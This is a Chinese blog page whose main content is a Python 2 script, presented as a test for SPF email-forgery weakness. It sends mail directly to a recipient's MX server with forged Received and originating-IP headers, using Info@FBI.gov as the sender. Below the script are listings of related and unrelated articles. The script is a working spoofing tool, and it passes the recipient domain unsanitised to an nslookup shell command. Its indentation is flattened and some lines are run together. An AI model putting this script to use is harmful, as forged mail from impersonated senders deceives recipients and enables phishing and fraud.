测试脚本:

# -*- coding: utf-8 -*-
import socket,select,base64,os,re,time,datetime
class mail:
def __init__(self):
self.errmsg = ''
def send(self, buf):
try:
byteswritten = 0
while byteswritten < len(buf):
byteswritten += self.__sockfd.send(buf[byteswritten:])
except:
pass def recvline(self, strline):
detect_fds = [self.__sockfd,]
rrdy, wrdy, erdy = select.select(detect_fds, [], [], 20)
if len(rrdy) == 0:
return False
else:
while True:
try:
strtmp = self.__sockfd.recv(1)
strline[0] += strtmp[0]
if(strtmp[0] == '\n'):
print 'server : '+strline[0]
break
except:
return False
return True def getresp(self, resp_str):
while True:
if(self.recvline(resp_str) == False):
return False
else:
if resp_str[0][3] != '-':
break;
return True def mailhelo(self, hostname):
self.send('helo %s\r\n'%hostname)
print 'host say: helo %s'%hostname
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250':
return True
else:
self.errmsg = resp_str[0]
return False def mailfrom(self, fromstr):
self.send('mail from: <%s>\r\n'%fromstr)
print 'host say: mail from: <%s>'%fromstr
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250':
return True
else:
self.errmsg = resp_str[0]
return False def mailto(self, tostr):
self.send('rcpt to: <%s>\r\n'%tostr)
print 'host say: rcpt to: <%s>'%tostr
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250':
return True
else:
self.errmsg = resp_str[0]
return False def maildata(self):
self.send('data\r\n')
print 'host say: data'
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '354':
return True
else:
self.errmsg = resp_str[0]
return False def mailbody(self, bodystr):
print 'host say: '+'.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'\r\n'
print 'host say: '+'From: "=?GB2312?B?zfU=?=" <'+self.From+'>\r\n'
print 'host say: '+'Subject:'+self.Subject+'?=\r\n'
print 'host say: '+'To: <'+self.To+'>\r\n'
print 'host say: '+bodystr self.send('Received: from ICE (unknown [8.8.8.8])\r\n')
self.send('.by 8.8.8.8 (Coremail) with SMTP id _bJCALesoEAeAFMU.1\r\n')
self.send('.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'\r\n')
self.send('X-Originating-IP: [8.8.8.8]\r\n')
self.send('Date: '+time.strftime("%a, %d %b %Y %H:%M:%S +0800",time.localtime())+'\r\n')
self.send('From: '+self.FromName+ '<'+self.From+'>\r\n')
self.send('Subject: '+self.Subject+'\r\n')
self.send('To: <'+self.To+'>\r\n')
self.send('X-Priority: 1\r\n')
self.send('X-mailer: iceMail 1.0 [cn]\r\n')
self.send('Mime-Version: 1.0\r\n')
self.send('Content-Type: text/plain;\r\n')
self.send('.charset="GB2312"\r\n')
self.send('Content-Transfer-Encoding: quoted-printable\r\n\r\n')
self.send(bodystr)
self.send('\r\n.\r\n')
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250':
return True
else:
self.errmsg = resp_str[0]
return False def mailquit(self):
self.send('quit\r\n')
print 'host say: quit'
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '221':
print 'server : Bye'
print 'mail send ok'
return True
else:
self.errmsg = resp_str[0]
return False def txmail(self, hostname, mailfrom, rcptto, bodystr):
mx_server_list = []
mail_postfix = re.split('@',rcptto)
#print mail_postfix
try:
outstr = os.popen('nslookup -type=mx -timeout=10 %s'%mail_postfix[1], 'r').read()
except Exception, e:
print 'DEBUG: Execute nslookup:',e
return False linestr = re.split('\n', outstr)
for s in linestr:
if re.match('.+[ |\t]mail exchanger[ |\t].+', s) != None:
c = re.split(' |\t', s)
mx_server_list.append(c[len(c) - 1]) if len(mx_server_list) == 0:
self.errmsg = 'Can not find MX server'
return False for mx_element in mx_server_list:
return_val = True
mx_server_ip = socket.gethostbyname(mx_element)
tx_sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
try:
tx_sockfd.connect((mx_server_ip, 25))
self.__sockfd = tx_sockfd
resp_str = ['',]
self.getresp(resp_str)
if self.mailhelo(hostname) and self.mailfrom(mailfrom) \
and self.mailto(rcptto) and self.maildata() and self.mailbody(bodystr) and self.mailquit():
pass
else:
return_val = False
except Exception, e:
return_val = False
try:
tx_sockfd.close()
except:
pass if return_val == True:
break return return_val
def sendMail(self):
self.StmpHost=self.From.split("@")[1]
self.txmail(self.StmpHost, self.From, self.To, self.Data) if __name__ == '__main__':
icemail=mail()
icemail.Port=25
icemail.To='YourEmail@163.com'
icemail.From='Info@FBI.gov'
icemail.FromName='邮件伪造漏洞测试'
icemail.Subject='邮件伪造漏洞测试'
icemail.Data='邮件伪造漏洞测试'
icemail.sendMail()

SPF邮件伪造漏洞测试脚本的更多相关文章

  1. Swaks绕过SPF验证进行邮件伪造

    0x00 swaks简介 Swaks是一个功能强大,灵活,可编写脚本,面向事务的SMTP测试工具,由John Jetmore编写和维护. 目前Swaks托管在私有svn存储库中.官方项目页面是http ...

  2. 邮件伪造测试-Swaks

    1. 前言 在kali中自带一个邮件伪造工具Swaks,工具项目主页为 http://jetmore.org/john/code/swaks 2.基本用法: swaks --to --from --e ...

  3. SPF难以解决邮件伪造的现状以及方案

    邮件伪造的现状 仿冒域名 私搭邮服仿冒域名: 例如某公司企业的域名是example.com,那么攻击者可以搭建一个邮服,也把自己的域名配置为example.com,然后发邮件给真实的企业员工xxx@e ...

  4. 编写自己的Acunetix WVS漏洞扫描脚本详细教程

    AWVS提供了自定义的脚本编程接口,可是网上的资料很少,只有官方的几篇介绍和参考手册,最近研究了一下怎么编写AWVS的漏洞脚本来写一篇简单性的文章 本文以8.0为例,首先呢安装好Acunetix We ...

  5. WordPress HMS Testimonials 多个跨站脚本漏洞和跨站请求伪造漏洞

    漏洞名称: WordPress HMS Testimonials 多个跨站脚本漏洞和跨站请求伪造漏洞 CNNVD编号: CNNVD-201308-199 发布时间: 2013-08-22 更新时间: ...

  6. WordPress A Forms插件HTML注入漏洞和跨站请求伪造漏洞

    漏洞名称: WordPress A Forms插件HTML注入漏洞和跨站请求伪造漏洞 CNNVD编号: CNNVD-201308-281 发布时间: 2013-08-20 更新时间: 2013-08- ...

  7. 点击劫持漏洞之理解 python打造一个挖掘点击劫持漏洞的脚本

    前言: 放假了,上个星期刚刚学习完点击劫持漏洞.没来的及写笔记,今天放学总结了一下 并写了一个检测点击劫持的脚本.点击劫持脚本说一下哈.= =原本是打算把网站源码 中的js也爬出来将一些防御的代码匹配 ...

  8. CSRF 漏洞测试

    CSRF简介: CSRF中文名:跨站请求伪造,英文译为:Cross-site request forgery,CSRF攻击就是attacker(攻击者)利用victim(受害者)尚未失效的身份认证信息 ...

  9. JMeter http(s)测试脚本录制器的使用

    JMeter http(s)测试脚本录制器的使用 by:授客 QQ:1033553122 http(s) Test Script Recorder允许Jmeter在你使用普通浏览器浏览web应用时,拦 ...

随机推荐

  1. WPF 弹出UserControl

    UserControl正常情况下是不能被弹出的,而编写好的UserControl页面,为了查看效果,又需要弹出. 为了解决这个问题,UserControl需要一个Windows来接收. var win ...

  2. JAVA的静态变量、静态方法、静态类

    静态变量和静态方法都属于静态对象,它与非静态对象的差别需要做个说明. (1)Java静态对象和非静态对象有什么区别? 比对如下: 静态对象                                ...

  3. Web API接口之Geolocation

    0.关于Geolocation Geolocation,地理位置API.用于获取用户的位置信息.它不算是现有的HTML5标准的“直系”成员,但是是W3C的一个标准.它几乎就是一个真正的JavaScri ...

  4. MySQL学习笔记三:库和表的管理

    1.MySQL数据库服务配置好后,系统会有4个默认的数据库. information_schema:虚拟对象,其对象都保存在内存中 performance_schema:服务器性能指标库 mysql: ...

  5. 构建自己的PHP框架--实现Model类(2)

    在上一篇博客中我们简单实现了findOne方法,但我们可以看到,还是有一些问题的,下面我们来修正一下这些问题. 首先是返回的数据中,数字被转换成了字符串.我们需要的是数字啊... PDO中有属性可以支 ...

  6. Web接口测试工具--Jmeter

    关于Jmeter性能测试工具不再过多介绍.如果你要学习软件性能测试,那么多少应该会对它有所耳闻. 强烈建议阅读官方文档学习:http://jmeter.apache.org/index.html 还有 ...

  7. iOS-掌握了时间就掌握了一切!

    Demo下载地址 一. NSDate相关知识 1.获取当前时间 [NSDate date]; 注意: 获取的当前时间是世界时间:比我们用的时间慢8个小时. 2.世界时间转化为本地时间 - (void) ...

  8. jquery兼容实验

    使用jquery时候,曾经遇到两个问题: 1.一个页面里,使用了很多基于jquery的前端ui库,但是各个库之间对jquery的依赖的版本不一样,有的依赖jquery1.4,jquery2.0用不了: ...

  9. gradle中使用嵌入式(embedded) tomcat, debug 启动

    在gradle项目中使用embedded tomcat. 最开始部署项目需要手动将web项目打成war包,然后手动上传到tomcat的webapp下,然后启动tomcat来部署项目.这种手动工作通常还 ...

  10. 从零开始学习jQuery (五) 事件与事件对象

    本系列文章导航 从零开始学习jQuery (五) 事件与事件对象 一.摘要 事件是脚本编程的灵魂. 所以本章内容也是jQuery学习的重点. 本文将对jQuery中的事件处理以及事件对象进行详细的讲解 ...